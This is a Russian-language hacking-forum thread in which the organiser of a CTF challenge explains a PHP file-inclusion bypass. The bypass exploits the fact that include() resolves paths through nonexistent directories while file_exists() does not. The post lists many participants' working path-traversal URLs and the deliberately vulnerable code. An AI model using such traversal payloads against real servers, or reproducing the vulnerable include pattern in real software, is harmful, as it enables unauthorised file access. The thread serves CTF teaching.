HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #61  
Старый 23.12.2018, 16:52
topthing
Новичок
Регистрация: 23.12.2018
Сообщений: 15
С нами: 3890486

Репутация: 6
По умолчанию

+done
 
Ответить с цитированием

  #62  
Старый 23.12.2018, 16:55
topthing
Новичок
Регистрация: 23.12.2018
Сообщений: 15
С нами: 3890486

Репутация: 6
По умолчанию

Цитата:
Сообщение от rudi  

Хм... подскажите, почему такой код не срабатывает?
Код:
include('./flag.php\x0/flag.php');
Ведь здесь имеем
\x0
который якобы должен обрезать строку
Во первых не \x0, а \x00. Во вторых PHP в одинарных кавычках hex символы не распознает, нужны двойные. В третьих в PHP строки уже давно binary-safe и такие древние техники не работают.
 
Ответить с цитированием

  #63  
Старый 23.12.2018, 18:56
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Начнем с того, что задание не закрыто и вопросы если и нужно задавать, то не в этой теме.

Но мы только начинаем и только учимся решать задания, поэтому пока сделаем исключение:

- и потому, что ядовитый ноль в инклюдах, уже в версии 5.3.4 был пропатчен (в 5.3.3.8 уже не работал ), а таск работает на версии 7.2.13.
 
Ответить с цитированием

  #64  
Старый 26.12.2018, 13:34
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Для тех, кто прошел и не знает чем заняться.

Решение под виндовс отличается от решения под nix.

По некоторым причинам не стал его рекомендовать.

Но вот вчера хакеры повтыкали и говорят, что вполне себе весело.

Кстати cerber3000 прислал оба прохождения.

Задание закроем 28.12.2018.
 
Ответить с цитированием

  #65  
Старый 27.12.2018, 02:53
FriLL
Познающий
Регистрация: 14.09.2008
Сообщений: 30
С нами: 9292499

Репутация: 21
По умолчанию

Пройдено
 
Ответить с цитированием

  #66  
Старый 27.12.2018, 15:26
DartPhoenix
Познавший АНТИЧАТ
Регистрация: 15.09.2013
Сообщений: 1,019
С нами: 6662486

Репутация: 24


По умолчанию

Больше часа ушло...

Пойду голову пеплом посыплю
 
Ответить с цитированием

  #67  
Старый 27.12.2018, 21:41
rudi
Новичок
Регистрация: 03.06.2010
Сообщений: 21
С нами: 8389843

Репутация: 0
По умолчанию

А я пока не прошел... блин
 
Ответить с цитированием

  #68  
Старый 27.12.2018, 21:51
DartPhoenix
Познавший АНТИЧАТ
Регистрация: 15.09.2013
Сообщений: 1,019
С нами: 6662486

Репутация: 24


По умолчанию

Цитата:
Сообщение от rudi  

А я пока не прошел... блин
Лучше проходи. А то как расскажут тебе чо там было - ты себе пепла не только на голову насыплешь, ты и в штаны его себе напихаешь
 
Ответить с цитированием

  #69  
Старый 28.12.2018, 15:27
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Задание закрыто.

Посмотрим еще раз на код.

Первая строчка не сильно влияет на прохождение, но экономит время, отсеивая варианты с манипуляциями в имени файла.

Ну и спасает интернеты от глобального похека, поскольку хакеры не остановятся только на решении таска, а обязательно доведут до rce, потом порутают систему, а когда поймут, что в докере - будут выбираться в хостовую систему.

А там опять - рут, соседи, креды, интернет.

Теперь две строчки, которые составляют суть задания

Код:
if(file_exists($flag)){
    echo("Sorry, this file is protected");
}else {
    include($flag);
}
Для программиста (как правильно заметил crlf) они не имеют смысла, файл можно проинклюдить только в том случае, если функция file_exists() не найдет его.

А ее единственное предназначение, как раз и проверять существование указанного файла или каталога.

Логика простая и железная, не обойти.

Тупик, опечатка, или что это?

А это именно то пространство, в котором может работать хакер.

Дьявол кроется в деталях.

И в этих деталях обнаруживается другая логика, с которой уже можно работать.

Оказывается include и file_exists используют не совсем одинаковые алгоритмы поиска

.SpoilerTarget" type="button">Spoiler: url
и запрос

http://task.antichat.com:10001/?f=No...ir/../flag.php

выполнит скрипт flag.php.

Все дело в том, что инклюд в никсах работает и через несуществующий каталог (большинство знают это на собственном опыте), если после нормализации пути файл существует.

А вот file_exists требует существования всех каталогов в пути.

И этот баг известен аж с 2004 года.

И не в узких кругах, если спросим у Гугла "bypass file_exists", то в топе получаем документ

.SpoilerTarget" type="button">Spoiler: Документ
https://seclists.org/fulldisclosure/2004/Feb/82

Можно конечно встать на защиту разработчиков: нормально же, include нашел файл, который мы запросили, да "ошиблись" немного в запросе, но "исправились" при помощи "../", вернулись на каталог выше и обнаружили нужный файл. Все нормально.

И, если бы мы, на месте разработчиков писали функцию file_exists(), мы бы тоже не разрешили ей ходить через несуществующий каталог.

Ну в самом деле: Что может существовать в несуществующем месте?
Но, как программистам, нам важно, чтобы обе эти конструкции искали файл одинаково и file_exists не имеет самостоятельной ценности, а только в сочетании с другими функциями (и конструкциями) работающими с ФС.

Поэтому баг, однозначно.

Часть прохождений была найдена с помощью Гугла, это видно по логам сервера, а часть повтыкали "честно".

Оба способа правильны, гуглить - быстрее, повтыкать - интереснее.

Под виндовс запрос получается другой, для его объяснения можно заглянуть в тему https://rdot.org/forum/showthread.php?t=926, она широко известна.

Для работы с файлами винда предоставляет поистине читерские возможности.

.SpoilerTarget" type="button">Spoiler: Прохождения участников

Цитата:
Сообщение от cat1vo  
Цитата:
Сообщение от Alaich  
Цитата:
Сообщение от Shubka75  

Доброго времени суток
http://task.antichat.com:10001/index...rr/../flag.php
Цитата:
Сообщение от sinusu  

Привет!
вот решение:
http://task.antichat.com:10001/?f=./ /../flag.php
Цитата:
Сообщение от ivanjinario  

task.antichat.com:10001?f=1111/../flag.php
Цитата:
Сообщение от randomword0x3f52  
Цитата:
Сообщение от st55  

/?f=/,./../flag.php
Цитата:
Сообщение от istefy  
Цитата:
Сообщение от grellario  
Цитата:
Сообщение от grellario  

Ещё три варианта:
1. Экринирование:
http://task.antichat.com:10001/index.php?f=./bar/../flag.php
2. Экранирование + wildcard:
http://task.antichat.com:10001/index.php?f=./*/../flag.php
3. Просто wildcard:
http://task.antichat.com:10001/index.../*/../flag.php
Цитата:
Сообщение от AbakBarama  

Приветствую.
Решил так:
http://task.antichat.com:10001/?f=qq/../flag.php
Цитата:
Сообщение от VentaL74  
Цитата:
Сообщение от BigBear  
Цитата:
Сообщение от Gorbachev  

http://task.antichat.com:10001/?f=glob://../flag.php
На этот раз действительно всё просто, в отличие от предыдущего твоего таска ))
Цитата:
Сообщение от Franky_T  

Привет!
http://task.antichat.com:10001/?f=./html/../flag.php
Задание прикольное, спасибо)
Цитата:
Сообщение от danilkib95  
Цитата:
Сообщение от fandor9  
Цитата:
Сообщение от moontisth  

task.antichat.com:10001/index.php?f=./sometxt/../flag.php
Цитата:
Сообщение от moontisth  

task.antichat.com:10001/index.php?f=./sometxt/../flag.php
Цитата:
Цитата:
Сообщение от xmp  

task.antichat.com:10001/?f=../../../var/www/html/./random/../flag.php
если быть течнее, для цтф не имеет значение но в реальном мире при инклуде важно знать пути
Цитата:
Сообщение от zpointer  
Цитата:
Сообщение от grimnir  
Цитата:
Сообщение от oleg_1va  
Цитата:
Сообщение от MichelleBoxing  
Цитата:
Сообщение от Jokero  

Привет. Решил все-таки. Множество всего нового изучил. Спасибо!
http://prntscr.com/lw4qjb
Цитата:
Сообщение от Beast Force  

Прошел?
Дело все таки в пути было, и знак ровно надо было добавить, а я долбился ./../flag.php
На выходе зашифрованная строчка... 718f17b43473d15b74201d9c9e537be6
http://task.antichat.com:10001/?f=./=/../flag.php
или так
http://task.antichat.com:10001/?f==/../flag.php
Цитата:
Сообщение от Coost  

http://task.antichat.com:10001/?f=./glob/../flag.php
ХА!! ХАХАХАХ!!!!!! ХАААААААААААААААААААА
Цитата:
Цитата:
Сообщение от Jerri  

Ну запрос очевидный просто) m/../flag.php )
Цитата:
Сообщение от daemon_mors  
Цитата:
Цитата:
Сообщение от crabovwik  
Цитата:
Сообщение от b3  

http://task.antichat.com:10001/?f=/123/../flag.php
спасибо за фан, давайте есчо
Цитата:
Сообщение от Stepan999  
Цитата:
Сообщение от roker777  

Привет, спасибо за задание.
Ссылка на результат:
http://task.antichat.com:10001/?f=__DIR__/../flag.php
Цитата:
Сообщение от leksadin  
Цитата:
Цитата:
Сообщение от -=4ekiSt=-  
Цитата:
Сообщение от cerber3000  

http://task.antichat.com:10001/index.php?f=
>../../flag.php
сори просто выполнял под виндой на open server-e там достаточно
index.php?f=/flag.php
index.php?f="/flag.php
Цитата:
Сообщение от to the moon  
Цитата:
Сообщение от =HALK=  
Цитата:
Сообщение от Octavian  
Цитата:
Сообщение от qwaszx000  
Цитата:
Сообщение от topthing  
Цитата:
Сообщение от Swat2k  

Привет, вот результат
http://task.antichat.com:10001/?f=./...../../flag.php
.
Надеюсь следующие задание будет чуть посложнее, обожаю головоломки
Цитата:
Сообщение от dais  

f=abc/../flag.php
Цитата:
Сообщение от Strilo4ka  

/threads/467350/
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//task.antichat.com:10001/?f=/1/../flag.php[/COLOR][/COLOR] 
Цитата:
Сообщение от Strilo4ka  

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//host/test/task1/?f="/flag.php
[/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//host/test/task1/?f=/flag.php[/COLOR][/COLOR] 
Цитата:
Цитата:
Сообщение от DartPhoenix  
[QUOTE="man474019"]

[URL="http://task.antichat.com:10001/index.php?f=%22%3E%3C/flag.php"]http://task.antichat.com:10001/index.php?f=">

Итого.

Можно сказать две вещи:

- паблик жив.

- паблик рулит!

Собирается неплохая команда.

Думаю, что это еще не все, еще много кто подтянется.

Для тех, кто не решил. Не расстраивайтесь, заданий будет еще много, всяких и разных.

Кто подтянулся уже после закрытия задания, не спешите заглянуть под спойлер, пробуйте повтыкать, это интереснее, чем просто чтение.

И напоследок. Это очень простое задание, но из него можно извлечь уроки.

Мне бы хотелось, чтобы зашел такой: Хакер часто работает из такого места, который не прописан явно в коде, но из него можно оказывать влияние на результаты работы скриптов.

Я называю это: "В промежутках кода".

Но можно называть и по-другому, "Второе дно", "Dark Side of the Moon", не очень важно, как назвать, важно знать, что существует нечто такое, куда программисты не стремятся заглядывать, но там обитают хакеры и неплохо рулят в свою пользу.

Всем спасибо.

Удачи и хорошего Нового Года!

===

PS, ну и после закрытия задания уже не так строго относимся к содержимому постов и самое время поделиться впечатлениями, находками, своим представлением.

Может есть свое объяснение решениям таска.
 
Ответить с цитированием

  #70  
Старый 28.12.2018, 15:59
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
С нами: 11278406

Репутация: 818


По умолчанию

Цитата:
Сообщение от dooble  

Для работы с файлами винда предоставляет поистине читерские возможности.
В Линуксе тоже есть свои прелести с символами * и ?
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...